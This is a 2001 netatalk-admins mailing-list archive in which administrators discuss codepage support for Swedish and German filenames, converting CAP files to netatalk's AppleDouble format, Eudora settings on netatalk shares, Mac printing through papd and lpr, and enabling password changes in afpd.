I want to use swedish characters, I have tryed to put
codepage:maccode.iso8859-1 in the file but no conversion happens. A
small a with a circle become 0x8C
I have tryed both 1.5pre2-6 and pre6-1rh7 with the same result.
I have Samba running on this machine and that one works fine with
iso8859-1.
I'm using RH7.1 on a i586 machine.

thanks for help
Patrik


From netatalk.administrators-errors@umich.edu  Sun May 27 09:28:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA18944
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 May 2001 09:28:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00867
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 May 2001 09:28:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00858
	for netatalk.administrators-members@umich.edu; Sun, 27 May 2001 09:28:47 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA00835
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 09:28:45 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA08483;
	Sun, 27 May 2001 15:21:54 +0200
Message-ID: <3B10FF74.AAC3F625@euc.de>
Date: Sun, 27 May 2001 15:21:50 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Alle mails voor SMS systeem <sms@vgkfgen3.rug.ac.be>
CC: netatalk-admins@umich.edu
Subject: Re: From CAP to netatalk
References: <Pine.LNX.4.21.0105261906520.2539-100000@vgkfgen3.rug.ac.be>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA18944

In my small understanding of netatalk all ressource forks are built on
the fly while a user mounts a volume.
The data (creator and type) are retrieved from AppleVolumes.system.

Drop the files into the netatalk volume mount it - that should work

Alle mails voor SMS systeem wrote:
> 
> Hey,
> 
> I am running netatalk on my linux (RH 6.2), with no problems so far (only
> used it for a few hours yet).
> 
> However, I am also using hx, a linux Hotline clone, which downloads
> macintosh files in the CAP format instead of netatalk. Is there any way to
> 'translate' CAP files to netatalk ones (I mean, the structure of the
> resource forks) ? Or a utility to zip or stuff CAP files, so I can move
> them to my Mac ?
> 
> Thanks in advance,
> 
> Thomas

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Sun May 27 09:35:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA19223
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 May 2001 09:35:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05441
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 May 2001 09:35:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05435
	for netatalk.administrators-members@umich.edu; Sun, 27 May 2001 09:35:39 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA05416
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 09:35:37 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA08497;
	Sun, 27 May 2001 15:29:27 +0200
Message-ID: <3B110138.BE644322@euc.de>
Date: Sun, 27 May 2001 15:29:23 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: poem@ludd.luth.se
CC: netatalk-admins@umich.edu
Subject: Re: codepage support in Netatalk-1.5
References: <3B10DEEC.541B95C2@ludd.luth.se>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA19223

Hmm,

as a german we are only (mostly) interested in the umlauts.
What I've noticed is that other characters e.g. the TradeMark are not
supported from the iso8859-1

I've tried the å resulting in a '?' in the filesystem.
cd ? gives me a path like that /data/å

hmm

Patrik Emilsson wrote:
> 
> I'm new to this group and don't know if this topic has been discussed
> before.
> Does anybody know if the codepage option works in AppleVolumes.default
> I want to use swedish characters, I have tryed to put
> codepage:maccode.iso8859-1 in the file but no conversion happens. A
> small a with a circle become 0x8C
> I have tryed both 1.5pre2-6 and pre6-1rh7 with the same result.
> I have Samba running on this machine and that one works fine with
> iso8859-1.
> I'm using RH7.1 on a i586 machine.
> 
> thanks for help
> Patrik

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Sun May 27 10:06:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19965
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 May 2001 10:06:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA16926
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 May 2001 10:06:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA16920
	for netatalk.administrators-members@umich.edu; Sun, 27 May 2001 10:06:31 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA16900
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 10:06:29 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id QAA21338;
	Sun, 27 May 2001 16:06:26 +0200
Date: Sun, 27 May 2001 16:06:26 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Mac Conin <mconin@euc.de>
Cc: poem@ludd.luth.se, netatalk-admins@umich.edu
Subject: Re: codepage support in Netatalk-1.5
Message-ID: <20010527160626.A21211@rakete.joerdens.de>
References: <3B10DEEC.541B95C2@ludd.luth.se> <3B110138.BE644322@euc.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <3B110138.BE644322@euc.de>; from mconin@euc.de on Sun, May 27, 2001 at 03:29:23PM +0200
X-Subliminal-Message: Use Linux! Use Linux!

On Sun, May 27, 2001 at 03:29:23PM +0200, Mac Conin wrote:
> Hmm,
> 
> as a german we are only (mostly) interested in the umlauts.
> What I've noticed is that other characters e.g. the TradeMark are not
> supported from the iso8859-1

Did you manage to get the mswindos option to work as well with a 1.5x
version? I didn't, with either a 1.4x or 1.5x version. Mac users can
still create filenames that are forbidden on Windows machines . . . 

Frank

From netatalk.administrators-errors@umich.edu  Sun May 27 14:38:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25970
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 May 2001 14:38:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA17948
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 May 2001 14:38:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA17941
	for netatalk.administrators-members@umich.edu; Sun, 27 May 2001 14:38:48 -0400 (EDT)
Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA17932
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 14:38:47 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id OAA30906;
	Sun, 27 May 2001 14:37:55 -0400
Date: Sun, 27 May 2001 14:37:52 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Mac Conin <mconin@euc.de>
cc: Alle mails voor SMS systeem <sms@vgkfgen3.rug.ac.be>,
        <netatalk-admins@umich.edu>
Subject: Re: From CAP to netatalk
In-Reply-To: <3B10FF74.AAC3F625@euc.de>
Message-ID: <Pine.LNX.4.33.0105271415480.8330-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

CAP and netatalk store files in similar, but distinct, ways. Both use the
filesystem to store the data fork. They use different methods to store the
"extra bits" of information that Macs need:

CAP stores the "finder metadata" as files in a subdirectory named
.finderinfo and stores the resource fork in a subdirectory named
.resource

netatalk stores both the finder metadata and the resource fork in a single
file in a subdirectory named .AppleDouble - the file format used includes
an AppleDouble file header. See:

http://www-sccm.stanford.edu/Students/hargrove/HFS/README-4.html

Actually, it appears to me that on linux you could move everything by
mounting the CAP directories as one HFS filesystem, the new
netatalk-style directories as another HFS, and then just copy things
over
with linux. That would be cool if it actually worked. See:

http://www-sccm.Stanford.EDU/~hargrove/HFS/
http://www-sccm.stanford.edu/Students/hargrove/HFS/README.html

for the details of how you'd have to mount the two HFS filesystems.

-----

the program mkisofs and its predecessor mkhybrid also both understand the
CAP and netatalk directory structures, so you could create an HFS CD image
or CDs (using cdrecord) and move all the CAP files to your Mac.

ftp://ftp.ge.ucl.ac.uk/pub/mkhfs/
http://www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdrecord.html

---

install both CAP and netatalk simultaneously, and sit at a mac and move
things around.

for CAP, see:

http://www.cs.mu.oz.au/appletalk/cap.html

---

A fellow by the name of Jonathan Paisley claims to have written a C
program to move files from CAP to netatalk formats. See:

http://www.umich.edu/~rsug/netatalk/archive/admins/2000/1197.html
http://students.dcs.gla.ac.uk/students/paisleyj/netatalk/

The latter page has an email page asking for people to e-mail him and tell
him to hurry up and post his program to do it ;-)

This would probably be the best solution.

steven



On Sun, 27 May 2001, Mac Conin wrote:

> In my small understanding of netatalk all ressource forks are built on
> the fly while a user mounts a volume.
> The data (creator and type) are retrieved from AppleVolumes.system.
>
> Drop the files into the netatalk volume mount it - that should work
>
> Alle mails voor SMS systeem wrote:
> >
> > Hey,
> >
> > I am running netatalk on my linux (RH 6.2), with no problems so far (only
> > used it for a few hours yet).
> >
> > However, I am also using hx, a linux Hotline clone, which downloads
> > macintosh files in the CAP format instead of netatalk. Is there any way to
> > 'translate' CAP files to netatalk ones (I mean, the structure of the
> > resource forks) ? Or a utility to zip or stuff CAP files, so I can move
> > them to my Mac ?
> >
> > Thanks in advance,
> >
> > Thomas
>
>

-- 
Steven Karel, Ph.D.
Biology Department, Brandeis Univ, MS 008
415 South St Waltham MA 02454-9110
TEL 781 736 3104   FAX 781 736 3107


From netatalk.administrators-errors@umich.edu  Sun May 27 15:19:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27199
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 May 2001 15:19:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07409
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 May 2001 15:19:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07405
	for netatalk.administrators-members@umich.edu; Sun, 27 May 2001 15:19:37 -0400 (EDT)
Received: from mailc.telia.com (mailc.telia.com [194.22.190.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA07390
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 15:19:36 -0400 (EDT)
Received: from d1o87.telia.com (d1o87.telia.com [213.65.232.241])
	by mailc.telia.com (8.11.2/8.11.0) with ESMTP id f4RJJZM07907
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 21:19:35 +0200 (CEST)
Received: from ludd.luth.se (h79n1fls32o87.telia.com [213.65.233.79])
	by d1o87.telia.com (8.10.2/8.10.1) with ESMTP id f4RJJXd01761
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 21:19:33 +0200 (CEST)
Message-ID: <3B115344.1A3F6159@ludd.luth.se>
Date: Sun, 27 May 2001 21:19:32 +0200
From: Patrik Emilsson <poem@ludd.luth.se>
Reply-To: poem@ludd.luth.se
X-Mailer: Mozilla 4.77 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Netatalk mailgroup <netatalk-admins@umich.edu>
Subject: Re: codepage support in Netatalk-1.5
References: <3B10DEEC.541B95C2@ludd.luth.se> <3B110138.BE644322@euc.de> <20010527160626.A21211@rakete.joerdens.de>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

> Did you manage to get the mswindos option to work as well with a 1.5x
> version? I didn't, with either a 1.4x or 1.5x version. Mac users can
> still create filenames that are forbidden on Windows machines . . .
>
> Frank

No I didn't manage.

/Patrik


From netatalk.administrators-errors@umich.edu  Mon May 28 04:37:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA16042
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 28 May 2001 04:37:15 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA21558
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 28 May 2001 04:37:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA21548
	for netatalk.administrators-members@umich.edu; Mon, 28 May 2001 04:37:06 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA21448
	for <netatalk-admins@umich.edu>; Mon, 28 May 2001 04:36:58 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id KAA23599;
	Mon, 28 May 2001 10:37:00 +0200
Date: Mon, 28 May 2001 10:37:00 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Nikolas Hagelstein <hagelstein@hauptsache.net>
Cc: netatalk-admins@umich.edu
Subject: Re: codepage support in Netatalk-1.5
Message-ID: <20010528103700.A23552@rakete.joerdens.de>
References: <3B10DEEC.541B95C2@ludd.luth.se> <3B110138.BE644322@euc.de> <20010527160626.A21211@rakete.joerdens.de> <005901c0e74e$85a014a0$c0c8a8c0@haupsache.intra>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <005901c0e74e$85a014a0$c0c8a8c0@haupsache.intra>; from hagelstein@hauptsache.net on Mon, May 28, 2001 at 10:16:37AM +0200
X-Subliminal-Message: Use Linux! Use Linux!

On Mon, May 28, 2001 at 10:16:37AM +0200, Nikolas Hagelstein wrote:
> Hi,
> 
> > Did you manage to get the mswindos option to work as well with a 1.5x
> > version? I didn't, with either a 1.4x or 1.5x version. Mac users can
> > still create filenames that are forbidden on Windows machines . . .
> 
> I am running  the 1.5pre3 with codepage patch  in a mac /windows

Where's the patch from? Can you provide a URL?

> environment...
> MSWINDOWS options is enabled...and i works well....

Oh, cool. I gotta try again then. The last time I tried was about 6
months ago and then it didn't work (which is why I am still running
1.4x).

Cheers, Frank

From netatalk.administrators-errors@umich.edu  Mon May 28 05:05:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA16686
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 28 May 2001 05:05:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA00837
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 28 May 2001 05:05:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA00825
	for netatalk.administrators-members@umich.edu; Mon, 28 May 2001 05:05:01 -0400 (EDT)
Received: from dotto.ifom-firc.it ([212.239.112.100])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA00752
	for <netatalk-admins@umich.edu>; Mon, 28 May 2001 05:04:56 -0400 (EDT)
Received: from [192.168.168.186] (wsp [212.239.112.97])
	by dotto.ifom-firc.it (8.11.0/8.9.3) with ESMTP id f4S94t225634
	for <netatalk-admins@umich.edu>; Mon, 28 May 2001 11:04:55 +0200
Mime-Version: 1.0
X-Sender: alberici@mail.ifom-firc.it (Unverified)
Message-Id: <p05100300b737c3f1f4c3@[192.168.168.186]>
Date: Mon, 28 May 2001 11:04:52 +0200
To: netatalk-admins@umich.edu
From: Christian Alberici <alberici@ifom-firc.it>
Subject: Eudora 5.1 and Netatalk
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hy, I use a Lan with Linux server with Netatalk. I use many Mac to access
files on the server.
I have Eudora settings in the personal folder on the server, sometimes
I loose the 'attachment folder' settings and my attachment goes everywere.

Thank you to all
-- 

From netatalk.administrators-errors@umich.edu  Mon May 28 15:51:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA04023
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 28 May 2001 15:51:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25790
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 28 May 2001 15:51:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25783
	for netatalk.administrators-members@umich.edu; Mon, 28 May 2001 15:51:27 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA25760
	for <netatalk-admins@umich.edu>; Mon, 28 May 2001 15:51:26 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000075765 for <netatalk-admins@umich.edu>; Mon, 28 May 2001 21:47:20 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310100b7385724600d@[192.168.1.201]>
Date: Mon, 28 May 2001 21:51:03 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: newbie netatalk printing questions..
Content-Type: text/plain; charset="us-ascii"

Hi all,

while I've become accustomed somehow (thanks to you, mostly :) to afpd and atalkd configuration and admin, but I have _just_ finished reading the papd manual and some basic linux printing docs;

I am evaluating the possibility to get some epson stylus color usb ink jet printers to work over the net with macos and windows boxes accessing them over the print dialog.

My (_very_) newbie questions are:

- Is papd needed, or is it just the 'printing atalkd', i.e. a daemon to get the jobs transferred over the AppleTalk protocol? Or is it usable over TCP/IP too?

- Any good links/hints/manpages on how to set up a standard 'lpr protocol' print server over TCP/IP, so that creating a printer symbol via LPR protocol with the appropriate ppd would be enough on the mac, as well as (similarly) on windows2k?


Thanks very much,

:-)


Lorenzo


From netatalk.administrators-errors@umich.edu  Mon May 28 18:33:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA08281
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 28 May 2001 18:33:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00208
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 28 May 2001 18:33:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00200
	for netatalk.administrators-members@umich.edu; Mon, 28 May 2001 18:33:15 -0400 (EDT)
Received: from sj.com ([62.96.248.15])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA00182
	for <netatalk-admins@umich.edu>; Mon, 28 May 2001 18:33:14 -0400 (EDT)
Received: from [172.16.22.38] ([172.16.22.38] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 4625558; Tue, 29 May 2001 00:33:07 +0200
Mime-Version: 1.0
X-Sender: rose@mail.i.sj.com (Unverified)
Message-Id: <p05010401b73880fca6fd@[172.16.22.38]>
In-Reply-To: <a04310100b7385724600d@[192.168.1.201]>
References: <a04310100b7385724600d@[192.168.1.201]>
Date: Tue, 29 May 2001 00:35:02 +0200
To: netatalk-admins@umich.edu
From: Axel Rose <rose@sj.com>
Subject: Re: newbie netatalk printing questions..
Cc: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA08281

Hi Lorenzo,

you could use the "lpr" protocol for Macs too. I wouldn't recommend
so because it's really hard to setup (AppleScript and Desktop Printer
Monitor). I doesn't give you any speed advance.

pap is the protocol of choice for printing from Macs and even
for Unix if it comes to high end printing devices.

A possible setup could look like this:

setup "papd.conf" + "/etc/printcap"
Macs communicate in the usual chooser/LaserWriter way with
a printing queue provided by netatalk. netatalk then uses
the Unix provided lpr service.

I can't help much though how to setup the latter.

There is another problem still.
Macs usually produce PostScript output.
In order to convert this PostScript to a format understandable
by your Epson Stylus you will need GhostScript installed on the
server, probably.

If you understood the process and have a running papd/lpd
configuration ask again for hints how to connect lpd with
GhostScript. I have suche a thing running to produce PDF
from the PS generated by Macs.


Best wishes


Axel
-- 
----------------------------------------------------------------------
Axel Rose, Springer & Jacoby Digital GmbH & Co. KG, mailto:rose@sj.com
  pub PGP key 1024/A21CB825 E0E4 BC69 E001 96E9  2EFD 86CA 9CA1 AAC5
  "... denn alles, was entsteht, ist wert, daß es zugrunde geht ..."

From netatalk.administrators-errors@umich.edu  Tue May 29 04:04:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA23508
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 May 2001 04:04:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA27007
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 May 2001 04:03:59 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA26978
	for netatalk.administrators-members@umich.edu; Tue, 29 May 2001 04:03:58 -0400 (EDT)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA26930
	for <netatalk-admins@umich.edu>; Tue, 29 May 2001 04:03:56 -0400 (EDT)
Received: from [193.155.17.160] (whizz.tangro.de [193.155.17.160])
	by jump.tangro.de (8.11.2/8.11.2) with ESMTP id f4T842H15553;
	Tue, 29 May 2001 10:04:02 +0200 (CEST)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05100301b7390716b8bd@[193.155.17.160]>
In-Reply-To: <p05100300b737c3f1f4c3@[192.168.168.186]>
References: <p05100300b737c3f1f4c3@[192.168.168.186]>
Date: Tue, 29 May 2001 10:01:57 +0200
To: Christian Alberici <alberici@ifom-firc.it>
From: Hauke Fath <hf@tangro.de>
Subject: Re: Eudora 5.1 and Netatalk
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:04 Uhr +0200 28.05.2001, Christian Alberici wrote:
>Hy, I use a Lan with Linux server with Netatalk. I use many Mac to access
>files on the server.
>I have Eudora settings in the personal folder on the server, sometimes
>I loose the 'attachment folder' settings and my attachment goes everywere.

I don't know how Eudora keeps track of the location of the attachment 
folder, but it sounds like your problem results from Netatalk's 
non-persistent directory IDs.

Given your usage pattern, you'd probably be better off with avoiding 
filesharing and using Eudora's IMAP facilities.

	hauke

-- 
Hauke Fath                        tangro software components GmbH
                                         D-69115 Heidelberg
hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

From netatalk.administrators-errors@umich.edu  Tue May 29 09:04:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA00873
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 May 2001 09:04:53 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10754
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 May 2001 09:04:53 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10748
	for netatalk.administrators-members@umich.edu; Tue, 29 May 2001 09:04:52 -0400 (EDT)
Received: from vampire.lavielle.com (vampire.lavielle.com [194.64.21.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA10721
	for <netatalk-admins@umich.edu>; Tue, 29 May 2001 09:04:51 -0400 (EDT)
Received: from mail.bauer.com ([194.233.182.111])
	by vampire.lavielle.com (8.9.3/8.9.3) with ESMTP id PAA03217;
	Tue, 29 May 2001 15:04:48 +0200 (MET DST)
Received: from hbv.de (hjebsen.bauer.com [172.28.28.42])
	by mail.bauer.com (Postfix) with ESMTP
	id 7EF643F0; Tue, 29 May 2001 15:04:45 +0200 (MEST)
Sender: root@hbv.de
Message-ID: <3B139E68.2434BC97@hbv.de>
Date: Tue, 29 May 2001 15:04:40 +0200
From: Henning Jebsen <hjebsen@hbv.de>
X-Mailer: Mozilla 4.74 [de] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: de, en
MIME-Version: 1.0
To: Bryn Hughes <bhughes@vcc.bc.ca>
Cc: netatalk-admins@umich.edu
Subject: Re: Changing Passwords
References: <sb0cf633.058@keam1>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Bryn Hughes wrote:
> Currently users are unable to change their passwords.  The "Set Password" button is greyed out completely.  I can't find anything anywhere that would allow/disable this in the config files, so I'm wondering what I'm missing.  Anyone have any ideas?

Have a look into apfd.conf "-savepassword, -nosavepassword" as a
parameter for the server.

--
